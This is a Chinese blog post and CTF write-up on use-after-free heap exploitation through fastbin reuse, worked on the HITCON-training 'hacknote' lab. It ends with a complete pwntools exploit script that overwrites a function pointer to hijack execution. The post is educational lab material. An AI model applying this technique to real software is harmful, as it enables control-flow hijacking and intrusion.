Use After Free

Use After Free 译为free之后的使用

内存块被释放后,其对应的指针没有被设置为NULL

这给我们修改并且执行被释放内存的机会

这里利用了堆的fastbin机制

fastbin为了快速的利用堆空间,将较小的chunk统一管理

具体是把相同大小的chunk单向链表连接,并且满足后进入链表的chunk会先被使用

这有点类似stack的后进先出

HITCON-training  lab 10 hacknote

应该主要有3个功能

 

1.增加note

2.删除note

3.打印note内容

一般来说我们最关心的就是删除note操作,如下

 

我们发现 删除操作仅仅是把一哥note的head和内容给free掉 并没有将notelist指向NULL

这样的话我们就可以通过删除后的添加 使得添加的note的head和内容指针指向被释放的chunk地址

具体操作如下,可以模拟一下

(截图自https://wiki.x10sec.org/pwn/heap/use_after_free/#_4

 

遇到其他类似的题目 只需要申请多个note(head)大小的东西 删除后再申请

使得某原函数(这里是puts)指针指向我们想跳转的地方即可

 

from pwn import *

io=process('./hacknote')
# io=remote('111.186.57.117',50202)

def add_note(size,note):
    io.sendlineafter('choice :','1')
    io.sendlineafter('size :',str(size))
    io.sendlineafter('Content :',note)
def del_note(num):
    io.sendlineafter('choice :','2')
    sleep(0.5)
    io.sendline(str(num))
def print_note(num):
    io.sendlineafter('choice :','3')
    sleep(0.5)
    io.sendline(str(num))
magic_addr=0x08048986
add_note(16,'aaaa')
add_note(16,'bbbb')
del_note(0)
del_note(1)
add_note(8,p32(magic_addr)*2)
print_note(0)

io.interactive()

 

 

 

 

posted @ 2019-11-24 21:55  Papayo  阅读(868)  评论(0编辑  收藏  举报